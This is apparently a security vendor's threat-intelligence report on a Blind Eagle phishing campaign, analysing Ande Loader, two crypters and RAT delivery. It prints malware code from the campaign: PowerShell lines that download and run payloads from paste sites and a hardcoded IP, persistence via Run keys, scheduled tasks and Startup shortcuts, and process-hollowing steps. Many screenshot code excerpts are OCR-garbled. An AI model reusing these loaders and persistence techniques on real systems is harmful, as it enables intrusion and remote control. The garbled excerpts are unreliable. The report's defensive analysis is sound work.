# **Blind Eagle's North American Journey**



#### IN THIS POST

- Blind Eagle Case Study
- Ande Loader Analysis
- · Crypter "ByRoda"
- · How eSentire is Responding
- Recommendations from eSentire's Threat Response Unit (TRU)
- Yara Rule
- Indicators of Compromise
- References
- MITRE ATT&CK

### Key takeaways:

- Ande Loader is utilized in this campaign to deliver the final payloads: Remcos RAT and NjRAT.
- Blind Eagle threat actor(s) have been using crypters written by Roda and Pjoao1578.
- One of the crypters developed by Roda has the hardcoded server hosting both injector components of the crypter and additional malware that was used in the Blind Eagle campaign.
- We observed Blind Eagle threat actor(s) targeting Spanish-speaking users in the manufacturing industry based in North America.

# **Blind Eagle Case Study**

Blind Eagle, also tracked as APT-C-36, first appeared around 2018. The alleged threat actor(s) originated from South America and is known to target Colombia and other countries in the region. The threat actor(s) employ phishing emails to establish an initial foothold.

In 2021, Trend Micro published a blog post mentioning various RAT variants deployed by Blind Eagle threat actors, such as njRAT, Remcos, Imminent Monitor, AsyncRAT, LimeRAT, BitRAT, and Warzone RAT.

Recently, the eSentire Threat Response Unit (TRU) observed Blind Eagle threat actor(s) targeting the manufacturing industry. The users received the phishing email that contained the link to download the RAR and BZ2 archives with a malicious VBS file inside.

# Ande Loader Analysis

#### Case One

The RAR archive is password-protected and contains the malicious VBS file. The VBS file contains the code responsible for copying the VBS file into the Startup folder for persistence (\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup) using File.Copy method.

Before copying the file into the Startup folder, it introduces the delay with the command "*cmd.exe /c ping 127.0.0.1 -n 10*". Later in the script, there is an obfuscated code with a simple "Replace" containing the PowerShell base64encoded command to load an assembly (*\$rOWg*), retrieve a specific type (*Fiber.Home*), and invoke a method (*VAI*) on that type. The method is invoked with an array of parameters (Figure 2).





Figure 2: PowerShell command containing the array of parameters

The infection chain is shown below.



Figure 3: Infection chain

Upon decoding the Base64-encoded command, we discovered a .NET binary (MD5:

48b6064beec687fc110145cf7a19640d). The .NET binary is obfuscated with YanoObfuscator version 1.0.15.0. The string decryption function applies XOR and bitwise operations to each character in the input string, using a changing key (num) based on the provided integer.

The modified characters are stored in an array, which is then converted back to a string and returned as the decrypted result.

Here's how the decryption works:

- The function initializes two variables: num is set to 356636782 + A\_1, and num2 is set to 0.
- The input string A\_0 is converted into a character array called an array.
- The function enters a loop.
- Within each iteration of the loop, it performs the following steps:
  - It checks the value of num2 to determine the appropriate action.
  - If num2 is 0, it sets num3 to 0 and proceeds to the next step.
  - If num2 is 1, it initializes num3 to 0.
  - If num2 is 2, it increments num3 and proceeds to the next step.
  - If num2 is 3, it skips to the next iteration of the loop.
  - If num3 is greater than or equal to the length of the array, it breaks out of the loop.
  - Otherwise, it performs some bitwise operations on the character at index num3 in the array:
    - It applies an XOR operation between the lower 8 bits of the character and the current value of num.
    - It shifts the resulting value 8 bits to the left and combines it with the XOR operation between the
    - upper 8 bits of the character and the incremented value of num.
    - The resulting value is stored back in the array at the same index.
  - It sets num2 to 2 to continue the loop.
- · After the loop finishes, the modified array is converted back to a string using the string constructor.
- The resulting string is then returned as the decrypted value.

38	if (Operators.CompareString(startup, A.a("標", 1), false) == 0)
40 41 42 43 44	<pre>tring foldering = nutrament_definition=nutrament_decideder.oplicitiondurs); etcide text = A. (45% - 0); etcide text = A. (45% - 0); etcid</pre>
46 47 48 49 50 51 52 53 54	nov Process     (
55 56 57 58	} glittyikey registryikey = Registry.Currentiser.OpenSubling(A.a() 通知時中國自然LuesSALuesSALuesSALuesSALuesSALuesSALuesSALuesSALuesSALuesSALuesSALUesSALUESS
60	) f (operators.CompareString(startup_reg, A.s("∰", 0), false) → 0)
62 63 64	string falder9atb - Emironment.GetFolder9ath(Unironment.SpecialFolder.ApplicationDats); nm = 4; continue;
66	
69 78 71	(RegistryKey registryKey; if (Enumerable.Contains circlage/registryKey.SetValueHamses(), A.a("&\u1071uMe736", 7))))
72	string text3; registryday_strubue(A_s(^Abu3977u0#785', 7), text4);

Figure 4: Obfuscated strings



Figure 5: Decryption algorithm

We can run the obfuscated binary through de4dot to get the strings decrypted.

Further analyzing the code, it performs the string replacement to produce a URL where it would download a text file from and then reverses the contents of the file.

It then compares the parameters '1No1me\_Startup' and '2No3me\_3tartup' that are passed in the PowerShell command mentioned above to 1 and 2. And if they are not equal, then the code proceeds with decoding the contents

of the downloaded file.

If the first comparison to "1" is true, then:

- The code creates a new .vbs file in the %AppData% folder only if there are no .vbs files already in that directory. It does this by starting a new process to run a PowerShell command that copies all .vbs files from the current directory to the %AppData% directory.
- Then, it opens the Run registry key, which stores information about programs that should run at startup.
- If there isn't already a registry entry named "Path", it creates one with the path to the .vbs file. This will cause the .vbs file to run every time the computer starts up.
- Finally, it runs a function *Tools.Ande(Convert.FromBase64String(text2))*. This involves converting text2 from a Base64 string back to a byte array, and then passing this byte array to the *Ande* method in the *Tools*.



Figure 6: The first evaluation

If the second comparison to "2" is true, then similarly to the first block, this block of code creates a new .vbs file in the %AppData% directory if there are no .vbs files in that directory already. Then, it creates a shortcut in the Windows Startup folder. The shortcut points to a PowerShell command that, when launched, waits for 5 seconds and then starts the .vbs file.

The PowerShell command to run the .vbs file would look like this:

 C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -WindowStyle Hidden Start-Sleep 5; Start-Process C:\Users\Username\AppData\Roaming\<GUID>.vbs

The shortcut is created with some specific properties like having the Notepad icon and the description set to "Microsoft". The creation of this shortcut will cause the .vbs script to be run every time the user logs in to Windows.

The naming format "{0}\_{1:N}.Ink" means that the shortcut name is composed of two parts separated by an underscore:

- {0}: This placeholder will be replaced with the filename of the .vbs file (without the extension).
- {1:N}: This placeholder will be replaced with a new GUID (Globally Unique Identifier). The :N format specifier makes the GUID more compact by removing the hyphens.

Finally, it also runs the same Tools.Ande(Convert.FromBase64String(text2)) function.

In both cases, the script is set up to run at each system startup, albeit through slightly different mechanisms. The if condition associated with the "1" comparison uses the Windows Registry to do this, whereas the else if condition associated with the "2" comparison uses a shortcut in the Startup folder to achieve the same goal.



Figure 7: The first evaluation

Let's go back to the beginning of the method "VAI" method.

The method VAI takes three arguments of type string. The arguments are as follows:

- **QBXtX:** This is a string parameter at the end of the PowerShell command and is used as input for the method, the parameter is used as a part of the URL deobfuscation.
- startup: This is another string parameter at the end of the PowerShell command and is used to evaluate the first condition and compare it to '1'.
- **startup\_reg:** This is the third string parameter used as an input for the method and is used to evaluate the second condition and compare it to '2'.

As shown below, after reversing the first-string parameter and replacing it with certain ASCII characters, the produced output is the URL that contains the text file with reversed Base64-encoded blob.



Figure 8: URL obfuscation



Figure 9: Reversed Base64-encoded blob

After reversing the Base64-encoded in the correct order and Base64-decoding it, Ande Loader loads a dynamic-link library (DLL) into the current process. The specific library to be loaded is determined by the value stored in the variable and then retrieves the address of a function within the loaded DLL. The function name is determined by the value stored in variable A, as shown below.

138	// Token: 0x04000008 RID: 8
139	private static readonly Tools.a a = Tools.a/("kernel32", "ResumeThread");
140	// Token: 0x04000000 RTD: 9
142	private static readonly Tools.A a = Tools.A<("kernel32", "Wow64SetThreadContext");
143	// Taken: 0v04000000 BTD: 10
144	<pre>// Token: oxonooood ALD: 10 private static readonly Tools,b a = Tools.b&gt;("kernel32", "SetThreadContext");</pre>
146	
147	// Token: 0x04000008 RDD 11
140	private static reacting foots b a - foots by (kernetsz), wowdet in eauchtext ),
150	// Token: 0x0400000C RID: 12
151	private static readonly Tools.c a = Tools.c/("kernel32", "GetThreadContext");
153	// Token: 0x04000000 RID: 13
154	private static readonly Tools.C a = Tools.E <tools.c>("kernel32", "VirtualAllocEx");</tools.c>
155	// Taken: 0x0400000F RTD: 14
157	private static readonly Tools.d a = Tools.d<(Tools.d>("kernel32", "WriteProcessMemory");
158	
159	<pre>// Token: oxtendooder RLD: 15 private static readonly Tools.D a = Tools.pt/(kernel32", "ReadProcessMemory"):</pre>
161	
162	// Token: 0x04000010 RID: 16
165	private static readonly loois.e a = loois.ext(ntail, zwommapvieworsection);
165	// Token: 0x04000011 RID: 17
166	private static readonly Tools.E a = Tools.K(Tools.E>("kernel32", "CreateProcessA");
20 // Token: 0x06000015 RID:	21 RVA: 0x00002136 File Offset: 0x00000336
22 private static a aca>(str	ing a, string A,
23 return Conversions.To	<pre>GenericParameter<a>(Marshal.GetDelegateForFunctionPointer(Tools.GetProcAddress(Tools.LoadLibraryA(ref a), ref A), typeof(a)));</a></pre>

Figure 10: Loading functions from the library

Eventually, Ande Loader injects the payload into the RegAsm process using the following functions:

- CreateProcessA creates the process in a suspended mode with the CREATE\_SUSPENDED flag.
- GetThreadContext / Wow64GetThreadContext (depending on the OS) obtains the current context of the suspended thread.
- · ReadProcessMemory used to read data from the memory of a specified process.
- ZwUnmapViewOfSection used to unmap a section of a mapped executable image or a shared data file from the virtual address space of a process.
- VirtualAllocEx used to allocate memory within the virtual address space of a specified process.
  - In our example, the value 12288 corresponds to the MEM\_COMMIT | MEM\_RESERVE constant, indicating that the memory should be both committed and reserved. It is passed as the fourth argument to the function. 64 or 0x40 – the parameter represents the memory protection flags for the allocated region.
  - The value 64 corresponds to the PAGE\_EXECUTE\_READWRITE constant, indicating that the allocated memory should be readable, writable, and executable. It is passed as the fifth argument to the function.
- WriteProcessMemory used to write data to the memory of a specified process.
- SetThreadContext / Wow64SetThreadContext used to set the thread context (registers and flags) for a
  thread.
- ResumeThread used to resume the execution of a suspended thread within a process.



Figure 11: Process injection

The final payload dropped by Ande Loader is a RemcosRAT (Remote Access Tool) that is being sold online by BreakingSecurity. The eSentire Threat Response Unit (TRU) will release the technical malware analysis of RemcosRAT separately in the future. We have also observed other malware stored on the server, such as ArrowRAT, NjRAT, Quasar RAT, and Ursnif.

#### **Case Two**

In the second infection case, the BZ2 archive was distributed via a Discord CDN link.

C:\Users Downloads\Fotomulta_Comparendo_57E4011574pdf.bz2\
- -
secretaria distrital de movilidad le notifica su comparendo por fotomulta en formato pdf el cual es el presente radicado 57E4011574521D402436541542515171157855F2F4174F054147425725G7F62F4667.vbs
a 10 December and a state and D70 eaching
re rz. Password-protected Bzz archive

The VBS file contains a similar obfuscation pattern and persistence mechanism. Here are some differences in Ande Loader dropped:

- The loader did not contain the strings in the encrypted form and instead was in the unobfuscated form but with the same replacement logic in place.
- Instead of RemcosRAT, the loader delivers NjRAT (the configuration for NjRAT can be found at the end of this article).
- The process hollowing is performed in one of these processes instead of just one hardcoded process:
  - AppLaunch.exe
  - aspnet\_regbrowsers.exe
  - cvtres.exe
  - ilasm.exe
  - jsc.exe
  - MSBuild.exe
  - RegAsm.exe
  - RegSvcs.exe



Figure 13: List of processes to perform process hollowing on

# Crypter "ByRoda"

An anonymous person shared the crypter that is used during one of the Blind Eagle campaigns that Igal Lytzki, Threat Analyst at PerceptionPoint, mentioned. The crypter developer goes under the nickname "Roda-Modder" or "Roda" on hacking forums. The developer also shares other crypters and protectors on forums since 2014.



Figure 14: Crypter advertisement (1)



Figure 15: Crypter advertisement (2)

To activate the crypter, the user would need to provide the "active" key.



Figure 16: Crypter activation form

The key activation works in the following way:

- The base64-encoded string is retrieved from developer's GitHub repository.
- Login\_Load: This method is called when the form loads. It starts the download of the string from the GitHub repository.
- x1\_DownloadStringCompleted: This method is triggered when the string download started by Login\_Load is finished. It calls the *descrypted* function on the downloaded string to obtain the original keys.



Figure 17: x1\_DownloadStringCompleted method

• **descrypted**: This method is called within *x1\_DownloadStringCompleted* to decode the downloaded string from Base64. The function takes the base64 encoded string, replaces "@" with "1", decodes it from base64, and then reverses the string. The decrypted string is stored in *this*.S to be used later in the *Button1\_Click* method.

328 ; private string descrypted(string Key)	
329 {	
<pre>330 string text = Key.Replace("@", "1");</pre>	
331 return Strings.StrReverse(Encoding.ASCII.GetString(Convert.FromBase64String(termannet))	:t)));

Figure 18: descrypted method

• Button1\_Click: This method is called when the user clicks the button. It splits the decrypted string into an array of keys using "//" as a delimeter and compares each key with the text entered by the user. If a match is found, it logs the user in and shows a success pop-up message. If the match is found, the user receives an "Expired key!!" pop-up message.



Figure 19: Button1\_Click method

8 FuckCrypt	- 🗆 X
Update 21/06	
exe to .vbs     Exe To VBS     Copy .ink     Ati Vmware, VirtualBox     CorrentUser Copy	Persistencia Persistencia Name Roda Minutos 1
Startup Name eyUWM Detecta pas https://pasteio.com/download/xIZe7TjM9AXq	tebin o link privado Automático!
rrepu	
FUC	K

Figure 20: FuckCrypt panel

The crypter can be generated in VBS and JS extensions with the options for persistence as a startup name, scheduled task, and AntiVM.

The payload reaches out to Pastebin and then pasteio[.]com to retrieve the injector. We have also seen a different version of the crypter posted by a Security Researcher, @1ZRR4H. The crypter reaches out to Pastebin and then wtools[.]io to retrieve the injector components.

At the moment of writing this blog, pasteio appears to be down, which makes FuckCrypt version 2.1 non-operable. The generated VBS contains an obfuscated base64-encoded PowerShell one-liner and junk code that can be found hardcoded in the Resource section of the crypter.

2001 End Function									
2392									
2001 Cn Error Denum Hont									
<ul> <li>mility it trave multiply retrainer multiply retrainer multiply</li> <li>mility it trave multiply retrainer multiply retrainer multiply</li> </ul>									
2019 manah ji towa manah ji 2017 manah ji towa manah ji									
2556 2556 dia utta									
1000 uRDy = WBript.ScriptVallMans									
0000 0000 10002									
	3x25a.q6x.d5x.d5x25.y05y9315axd2.y0 3x8532610x10x35a.q6x02+0x9x05001.4x 3x85326102002.q8005y50x800301.4x 3x25246200202.q8005y50x80.00060000000000000000000000000000000								
José din ketif									
1004 lerjf - ("dramty = "") & Hward & ""									
<pre>pic karje = karje = (injuta = (paptas, vast inkolas, utering) ("onlow, utering)" pic karje = karje = ("paptas, "paptas, "pap</pre>									
Obfuscated PowerShell one-liner									
Diff Contest of registry for a particular large cash for an in our speciar Diff and and requires whether RCL is esabled or disabled. Fouriers are RCL heperiment,									
3013 2022 separations constraints, 2022 for 012 and 2022 for 015 3016 Proceedings 2022 (Classer)									
3015 On Error Basen Net									
2017 - 1010 die fame werd fammen sent									
one series essential results reserve									
000 Colord Case flavor 001 Const Walk Schule Schule Flavor									
3028 Case TATE CARD OF THE CARD OF THE CARD									
3021 wwby4 = M60_BCAREQ_VFEREDDI 3022 DEPENDence = SLAME ROAMSERF. A SHARP YEE									
2021 Case VAITE BOARDS FLAFOR									
1010 LKR0 = KDBOALS 1011 webp = KDSCAD5									
2012 LATFOTYpe - VALUE_CARGENT_EINCLE_TITE 3033 Case WARE SAULE AND A									
Crist = 1012241, Edited = 12022000ToW21, [Butall] Emula = [austar Convert], Examples (Astring / New-Object Net WebClien	+)								
Partie - otor /vanou - opanogrami / (byog) (proce - byogen (onverb) information ((astronomic - beneficient	er, .								
Downloadstring( (New-Object Net.WebClient).Downloadstring( https://pastebin.com/raw/16APD4C6) ) );[system.AppDomain]::	CurrentDomain.								
Load (\$rpuek).GetType ('CdWDdB.DKeSv1').GetMethod ('NnIaUq').Invoke (\$null, [object[]] ('qXA9MjT7eZIx/daolnwod/moc.oietsap/	/:sptth',								
<pre>\$dfhod , 'bestcrypt', \$zjalt, '1', 'Roda' ));</pre>									
Deal frances of Devenue Chall and Linear									
Deobruscated Powersnell one-liner									

Figure 21: The crypted VBS file



Figure 22: Embedded Resources section

The first downloaded file mentioned above is the payload that is partially responsible for process injection. From the screenshot below, the functions such as GetThreadContext, SetThreadContext, ReadProcessMemory, NtUnmapViewOfSection, VirtualAllocEx, ResumeThread, etc. used, suggesting process hollowing (T1055.012). The DLL also contains other APIs that are well-known to be used in process injection.

From the code below, the decoded-base64 final payload would be injected into InstalUtil.exe.



Figure 23: Process hollowing

If the decoded PowerShell one-liner contains "4" in the fourth parameter passed to the binary – it means the AntiVM is enabled. The AntiVM feature checks if one of the processes, such as vmtoolsd or VirtualBox, is running on the infected machine.

If a process is found that matches either of these names (indicating that a virtual machine tool is currently running), the function will terminate and return immediately.



Figure 24: VM check

If the fourth parameter also contains the value "1", the code creates a new registry entry in "HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" with a value that runs a PowerShell command to execute a VBScript file located under the %TEMP% folder, that way, the code gets executed each time the system starts up.

The file containing the PowerShell command is named "xx1.ps1". Moving forward, the code constructs a VBScript command that executes the initial VBS crypted script in a new file "xx2.vbs" under the *%TEMP%* folder.

39 40	<pre>bool flag5 = flag5 == lixeo.Contains("1"); if (flag6)</pre>
41	
42	
43	
44	<pre>string text = string.Concat(new string[]</pre>
45	
46	"\$teste = New-ItemProperty -Path \"HKCU:\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\" -Name \"",
47	lixo,
48	"\" -Value \"Powershell.exe -WindowStyle hidden \"\"& '",
49	Path.GetTempPath(),
50	"xx2.vbs' \"\"\" -PropertyType \"String\" -force; {\$teste}"
51	
52	File writeAillext(Path.getlempPath() + xxi.psi ), text);
53	Interaction.shell( powershell.exe set-executionvolicy bypass -scope process ; powershell -tile + Path.setTempPath() + xx1.ps1 ; AppwinStyle.Hide, taise, -1);
54	interaction.Shell(string.Concat(new string[]
56	"newershell eve Conv_Item '"
57	port situation copy atom ;
58	". Destination '"
59	Dath (astanDath/)
60	
61	<pre>}), AppWinStyle.Hide, false, -1);</pre>
62	<pre>string text2 = "Set objShell = CreateObject(\"Wscript.shell\")";</pre>
63	<pre>text2 = string.Concat(new string[]</pre>
64	
65	text2,
66	"\r\nobjShell.run \"powershell -WindowStyle hidden -command wscript.exe //b //nologo '",
67	Path.GetTempPath(),
68	fileInfo.Name,
69	"'\" ,0, false"
70	
71	<pre>File.WriteAfflext(Path.betTempPath() + "xx2.vbs", text2);</pre>
73	(Evention av)
74	
75	
76	

Figure 25: If the fourth parameter contains "1"

If the fourth parameter contains "2", it should perform similar actions as in the previous code. But instead, it creates a scheduled task in our example named "Roda", that runs every minute and a VBS file named "xx.vbs' instead of "xx2.vbs".



Figure 26: If the fourth parameter contains "2"

If the fourth parameter contains "3", the code creates a Windows shortcut (.Ink file) in the Startup directory of the current user to run the initial VBS file via PowerShell. The Startup directory is a special folder where any files or shortcuts placed within it automatically run when Windows starts. The name of the shortcut is the string stored in the third parameter, in our example, it's "bestcrypt".

117	<pre>bool flag10 = flag9 == lixoo.Contains("3");</pre>
118	if (flag18)
119	
128	
121	
122	"nowershell, exe (onv-Item "",
122	and a
124	
104	· · · · · · · · · · · · · · · · · · ·
125	
120	
127	j), appairistyletenite; table; table; table;
128	
129	
130	object objectValue = RuntimeHeipers.GetUbjectValue(Interaction.treatedObject("HScript.Snell", ""));
131	object objectValue2 = RuntimeHelpers.GetObjectValue(NewLateSinding.LateGet(ObjectValue, null, "CreateShortcut", new object[] { Environment.GetFolderPath(Environment.SpecialFolder.Startup) + "\\" + lixo + ".lnk" }, null, null, null, null));
132	NewLateBinding.LateSet(objectValue2, null, "TargetPath", new object[] { "powershell" }, null, null);
133	NewLateBinding.LateSet(objectValue2, null, "Arguments", new object[] { "-WindowStyle hidden -command wscript.exe //b //nologo "" + Path.GetTempPath() + fileInfo.Name + "" }, null, null);
134	NewtateBinding.LateSet(objectValue2, null, "IconLocation", new object[] { "imageres.dll, 009" }, null, null);
135	NewLateBinding.LateSet(objectValue2, null, "WindowStyle", new object[] { 1 }, null, null):
136	New at a Singling Later all (object Value), cull "Save" one object [0] cull cull cull cull
137	
138	catch (Exception ev3)
139	

Figure 27: If the fourth parameter contains "3"

Another crypter (MD5: b167a0bc7b097550a89a5ba4cb258592) written by Roda, shown in Figure 28, pulls the additional injector components from the hardcoded server (Figure 29). We assess with medium confidence that the FuckCrypt developer is also involved in the Blind Eagle campaign, dropping the malware stored on the same server.



Figure 28: FuckCrypt

1038	<pre>text = text.Replace("%remgeamseen%", "(CInt(HgRH) &lt; 1) and true");</pre>
1039	
1040	
1041	
1042	text = text.kepiace( areadeamas, - 0 ))
1044	<pre>text = text.Replace("%DavPrd#PMNDem%", this.TextBox7.Text.Substring(0, 3)):</pre>
1845	string empty = string.Empty:
1046	string text2 = string.Emoty:
1047	string text3 = this.TextBox8.Text:
1048	text2 += "\$RodaCopy = '\u00af\u00af\u00af-\u00af4-\u00af':":
1049	text2 += "[Byte[]] \$DLL = [system.Convert]::FromBase64String((New-Object Net.WebClient).DownloadString('http://91.213.50.74/GREEN/ROMER/dllf3.txt'));";
1050	text2 = string.Concat(new string[]
1051	
1052	text2,
1053	<pre>"[system.AppDomain]::CurrentDomain.Load(\$DLL).GetType('NwgowH.KPJaNj').GetMethod('PUIGKA').Invoke(\$null, [object[]] ('",</pre>
1054	
1055	"', SRodaCopy , ",
1056	text3,
1057	Index of /GREEN/RXWER
1059	100 hool checked5 = this CheckBoyl Checked:
1060	if (hered)
1061	Name Last modified Size Description
1062	text2 = text2.Replace("\u00af\u00af\u00af-\u00af-\u00af-\u00af", "\u00b423.3.232\u00b4");
1063	
1064	clse Parent Directory
1005	
1055	text2 = text2. Replace(~\u00af\u00af\u00af-\u00af*.\u00af*, *2s*);
1068	text2 = Convert ToBase64String(Encoding Unicode, GetButes(text2));
1869	text2 = text2.8mlars("II", "0.0.0");
1070	text2 = Strings.StrReverse(text2):
1071	text = text.Replace("%rAGNA%", text2.Replace("Z", "\" & OM1W & fulo & OM1W & \"")):
1072	File, WriteAllText(saveFileDialog2, FileName, text, Encoding, Unicode):
1073	Interaction_MsgBox("Sucess", MsgBoxStyle.0kOnly, null);
1074	
1075	
1076	
1077	bool checked/ = this.RadioButton2.Checked;
1078	if (checked7)
1080	
1081	
1082	
1603	
1002	saveFileDialog.Dispose();

Figure 29: Hardcoded IP containing injector components

We were able to find other samples associated with the binary or the developer. The hashes are included in the Indicators of Compromise at the end of this article.

In one of the crypters mentioned above, another developer's handle, "Pjoao1578' was mentioned.



Figure 30: The mention of the nickname in one of the crypters

The crypter developer "Pjoao1578' has been selling .NET crypters since around 2016.

# Sale of .net Crypts

Made in => Visual Studio 2013
Dependency => Net Framework 4.5
Client & Stub => 32 & 64 Bit
Functional on => Windows 7,8,8.1,10
Tested on => Njrat,Spygate Rat,Pandora rat,Xtreme Rat,Sybergate Rat,DesckVB Rat.
Values \$\$\$
0/35 = No updates Cost => 60\$
0/35 = With two updates during (30)Days Cost => 100\$
1/35 = No updates Cost => 50\$
1/35 = With two updates during (30)Days Cost => => 80\$
2/35 = No updates Cost => 40\$
3/35 = No updates Cost => 30\$
Custom crypter Specially made for a certain Antivirus No updates costs => 40\$ Custom crypter Specially made for a certain Antivirus with updates costs => 80\$
Payment => Only Deposit Banco ITau \$ Reais (Brazil) Delivery of crypter after payment

Figure 31: Crypter sale advertisement by Pjoao1578 (translated to English from Portuguese)

The Pastebin repository of the "Pjoao1578' " developer contains some files that have been used in the crypters. The developer is also known for re-purposing the open-source NjRAT under their own version, "0.7d" (MD5: 5d4c903e2ba132fe886be296c10707e9).

2014 101	PASTEBIN	API	TOOLS	FAQ	+ paste		Q	
٩	PropagandaDesckVBRat				Jul 1st, 2021	Never	1,100	None -
٩	Bitcoin				Jul 1st, 2021	Never		None -
٩	ComoUsaDesckVBRat				Jul 1st, 2021	Never		
٩	DownloadDesckVBRat				Jul 1st, 2021	Never		None -
٩	InforDesck				Jul 1st, 2021	Never		None -
٩	Mysite				Jul 1st, 2021	Never		
٢	Seriais DesckVB Rat				Jul 1st, 2021	Never	984	None -
٩	Skype_E_Email				Jul 1st, 2021	Never		None -
۲	Teste_Hospedagem				Jul 1st, 2021	Never	10,006	None -
٢	VercionDesckVBRat				Jul 1st, 2021	Never	975	
٩	jsUpcrypter				Jun 21st, 2023	Never	1,400	
٩	APPSpaM				May 27th, 2023	Never		None -
٩	KeysUpCrypter				May 22nd, 2023	Never	194	
٩					Sep 20th, 2022	Never	250	
٩	DII Sem caracter				Jul 21st, 2022	Never	166	None -
٩	DII02				Jun 9th, 2022	Never	41,808	
٩	Spammer				Jun 6th, 2022	Never	147	
٩	Exploitppam				May 21st, 2022	Never	785	
٩	ServerVBSHotel				May 21st, 2022	Never	6,918	None -
٩	DllHotel				May 21st, 2022	Never	13,731	
٩	Rumpe				May 21st, 2022	Never	42,978	None -
٩	IP02Reserva				Feb 17th, 2022	Never	188,436	None -
٩	myhotel				Feb 2nd, 2022	Never	1,578	
٩	Host_IP_Me				Sep 19th, 2021	Never	291,991	

Figure 32: Pastebin repository of c

After some research, we have confirmed that Pjoao1578 and Roda are two different developers, but their crypters are actively used in the Blind Eagle campaign.

Currently, the developer is actively working on UpCrypter or also known as UpCry in the previous version.

🖳 UpCry By Pjoao1578			_		×
Upload File FTP String Upload	P r o t c t o r F i l e	Exe To VBS     Exe File     Copy Startup     Auto Detect Framew  Creator "Pjoao 1578 Thank you coder "P     Enable FTP FTP Server Host user UI Txt String Ba	Run File Rum Rum worck 4,5 WR_AHM URL Ht URL pass use64 h	e Memory - pe01 pe02 / 2.0 ED Crypter tp	r Fud"
of the defound a contraction of the	20111				

Figure 33: UpCry crypter

🔆 UpCrypter V1.3.3.5 / 2023	– 🗆 X
Upload File FTP String Upload	Exe To VBS Exe To VBS Run File Memory Runne01
Não faça scam no virus total, caso contrario queima o crypter e perde a garantia. Do not scam the total virus, otherwise it will bum	Exe File     Rumpe02     Copy Startup     Anti Vmware, VirtualBox, Hyper-V
ine crypter and lose the warranty.   Usage = https://antiscan.me/	.Exe To JS C Exe To JS Copy Startup
https://antiscan.me/ FTP Enable FTP FTP Server Host	Upload Server <u>01 https://wtools.io/paste-code</u> <u>02 https://pastebin.com/</u> <u>03 https://paste.ee/p/KYJve</u> Server Base64
user pass Update .Js 22/05/2023 Update .vbs 10/07/2023 fix bug	Auto Detect Frameworck 4,5 Creator "By Pjoao 1578" Thank you coder Rumpe "MR_AHMED Crypter Fud"
C	Creat File

Figure 34: New version of UpCrypter

The generated VBS files for the UpCry and UpCrypter are shown below.

_	
203	kOuchAhh.: IOnD:NLO::OND:::gSDx:kWM = "
284	KONG ALLA TOND HEAD OF AND A A A A A A A A A A A A A A A A A A
205	
286	dia TRIP
207	
200	Transfer on Tarve
200	
289	set Ensu = dreateobjeds("Hidrosoft.Amintop")
290	Mnzu.open "GET", gSKo("txt.11D/1502_61401202_11d/smsti/82/gro.evihora.su.104308si//:sptth"), false
291	Khau, send ""
292	UNV = (Mnsu.responseText)
293	end function
294	
295	KOuerkikL: IOnD:RLO1:0308:e358:1648: = "000000" rundig
296	ROUGHARD, TORDUNED (ONE OFFICE) AND A CONTRACT AND A CO
297	Direction - Department of the second se
202	Private balls in The During of Difference and the second state of the
200	New York, Walk (Walk (Wa
	Non-Anna Anna Anna Anna Anna Anna Anna Ann
300	KONCHAINLI IONDINLOJI (JUNKI 9500) KWKN = "Destato" (utdig
301	KOUCIAINLI IONDINLOJIOJNKI SEENIKYKK = "
302	KOuerAhhL:IOnD:NLOj:ONNK:gSDx:kvNN = "howeve":urdrg
303	KONG (ALL) IOND (NLO) (OJNK (SEN) (WMM - "" (u) dig
304	ROBERT REAL ROBERT REAL REAL REAL REAL REAL REAL REAL REAL
305	
306	IRLP = UNVU
307	
202	Normal State Towns and the State S
200	
010	Notes and a second se
340	Aver (alm) aver (alm) aver (alm) aver (alm)
311	RUDE RAINLY TOWNS (SDAR REWS)
312	KOLO IAINLI IONDI NLOJ IOJNEK (SDEN KWER = "DODODO" IOJ BIJ
313	KOurrAihL: TomD: NLOg: OJNK: gSTax: kvRN = "
314	KOuerAihL: IOnD:NLO; (0.NK: (SDX: KVKM = "000000"; uiddig
315	kOue:hhL:IOnD:NLO;:ONW:esEx:kvWM = "overed":urdrg
316	kOserAihL:IOnD:NLO;:ONN:gSDx:k+NM = "000000":urd:g
317	RODOLALD, IONDIRLOS I CARRING SERVICE - " CONTRACTOR OF THE AND THE ADDRESS OF TH
310	
319	nZNn = dSNn(") = dsideC2") & ONDu & ""
320	
993	a No AND. 6 3.100 inch - floaten Text Recording La Bained Attained 1
222	year - year - year - (grant international) (grant international) (grant international) (grant international) (grant international)
000	Good = Good a -(States Connect) (Frameweetsstand) voordo.reparet vinateov
020	
324	dige = dive * (ikTs)
325	
326	g30b = g30b & nvFx( ") powers#:#hell.#:#exe -windo#:#wstyle hi#:#deen -Execut#:#ionPolicy Byp#:#ss -NoP#:#rofile -Com#:#mand fON#:#jwxD" & "voRBTXAbgPDogBKgBeBtqvbvAbgUZLCKPjDbBCkOexOKACysNCBeDogCKkSkIbLjoBOPtGaYBUQUNCUCHrbCkUStor" ,
	"voWIXAabgPTOgBWgBeltgvbvaDgUZLCKPjEbNQbOezGWACyaNCMeDogQWkSWZDLjcBOPtGr1MUQNWUDSPyMogmC1CHzQcMNEbx", "")
327	
320	kowe: kihi: TomD:NLOj:OJWE: gSDw: kwWH = """""""""""""""""""""""""""""""""""
32.5	kber: kihl: fonD: NLO: (JNN: (aSDa: kwWi = ">>>>>":u:dre
E i a	

Figure	35:	VBS	file	(UpCry)	
--------	-----	-----	------	---------	--

_	
	The relation region of the relation of the rel
	1 UP UF UF UF UP UP (2010) VP (2010)
	ng //s / [ / [ / [ / [ / [ / [ / [ / [ / [
8	
7	XIDE MORDIA-
8	on error resume next
10	28:2f = ulh9A
12	Practice ulbfa()
13	ulhRA = WScript.ScriptFullMase
14	Ind Punction
16	aub Salay (encas)
17	<pre>set 88/19 = CreateObject("Widnipt.Shell")</pre>
10	NULTRING "powershall -command " & ( ences ) ), 0, Talse
20	
21	Function VdbWC(tIgfH)
23	stand and a second s
24	Wijnp.zend **
28	vanc = ( Kjnp.responserent )
27	
28	PQBE = YQN/C( "https://pastebin.com/sav/web/SXC")
30	while a Wend ( Fonds )
31	
32	gxDuz = *5dTham = ** 6 jeseb 6 ***
33	gnove = gnove = (rising) = [gistem:inter.cmostaligit] axfore = gnove = (rising (r))
35	gattuz = gattuz 4 (*(System.Convert)))*)
36	gxTuz = gxTuz 4 ("frombas" 4 (64) 4 "String( 0dTJm.replace("http://stri))).replace("broktogs", ")
